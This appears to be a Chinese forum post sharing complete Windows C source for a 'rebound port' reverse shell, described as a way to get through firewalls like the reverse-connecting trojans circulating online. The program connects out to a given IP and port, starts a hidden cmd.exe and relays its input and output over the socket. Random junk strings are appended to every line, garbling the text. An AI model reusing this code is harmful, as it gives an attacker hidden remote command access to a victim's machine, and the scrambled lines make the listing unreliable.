这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IrWD%/$H
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/* ============================== %0mMz.f
Rebound port in Windows NT [_.5RPJP8
By wind,2006/7 mUz\ra;z
===============================*/ 6^c>,.R
#include ^+m+zd_
#include i6 (a@KRY
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#pragma comment(lib,"wsock32.lib") A6pjRxg
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void OutputShell(); DANw1_X\
SOCKET sClient; )h8\u_U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =T7A]U]
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void main(int argc,char **argv) 9gEssTkts
{ !DI{:I_h(
WSADATA stWsaData; z ly unJD(
int nRet; \a=D
SOCKADDR_IN stSaiClient,stSaiServer; DVkB$2]
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if(argc != 3) {|yob4N
{ fz3lV
printf("Useage:\n\rRebound DestIP DestPort\n"); ~35U]s@v
return; /2HN>{F^Y
} Cc, `}SP
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WSAStartup(MAKEWORD(2,2),&stWsaData); =Odv8yhn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S>0nx ^P
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stSaiClient.sin_family = AF_INET; .]9c /
stSaiClient.sin_port = htons(0); T1r3=Y4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jh.@-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f7 'q-
{ a+9*@z2
printf("Bind Socket Failed!\n"); AT\qiznvP
return; {"
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} $\"9<o|h
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stSaiServer.sin_family = AF_INET; =SAU4xjo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d.2mT?`#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v i)%$~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .?>5-od2
{ snt(IJQ
printf("Connect Error!"); Bs MuQ|!
return; NcAp_q?
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} k3t78Qg
OutputShell(); D>!6,m2
} eJo3 MK
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void OutputShell() rO:u6."_
{ : ~ A%#
char szBuff[1024]; z 8*8OWM
SECURITY_ATTRIBUTES stSecurityAttributes; KnNh9^4"\2
OSVERSIONINFO stOsversionInfo; }rdIUlVO\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c0Dmq)HK?
STARTUPINFO stStartupInfo; kpI{KISQu
char *szShell; \M"UmSB o
PROCESS_INFORMATION stProcessInformation; 4W#E`9
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unsigned long lBytesRead; D)brPMS:o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WpLZQ6wH
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Do]*JO)(
stSecurityAttributes.lpSecurityDescriptor = 0; fN
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stSecurityAttributes.bInheritHandle = TRUE; P &)1Rka
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gs
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YUdxG/~'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6UE(f@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CZEW-PIhj
stStartupInfo.wShowWindow = SW_HIDE; ItX5JV)
stStartupInfo.hStdInput = hReadPipe; (#oycj^<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;_:Oo l,
a0*2) uL}
GetVersionEx(&stOsversionInfo); [Lp,Hqi5
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switch(stOsversionInfo.dwPlatformId) %Z8vdU# l
{ M]-VHI[&W
case 1: K{l5m{:%
szShell = "command.com"; S
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break; cMzkL%
default: \NqEw@91B
szShell = "cmd.exe"; `E\imL
break; |7^^*UzSK:
} UHGcnz<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ba@=^Fa;
7rHS^8'H&
send(sClient,szMsg,77,0); wVq\FY%
while(1) GPWr>B.{:S
{ 'ho{eR@d
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); htPqT,L
if(lBytesRead) YGsS4ia*4i
{ a9~"3y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :h:@o h_=
send(sClient,szBuff,lBytesRead,0); (XH2Sy
} IB|]fzy
else 9B+wYJp
{ +/?iCmW
lBytesRead=recv(sClient,szBuff,1024,0); /dDzZ%/@
if(lBytesRead<=0) break; E-1"+p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^UA(HthY
} ]Fb0Az
} Qeb}!k2A
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return; \O7J=6fn
}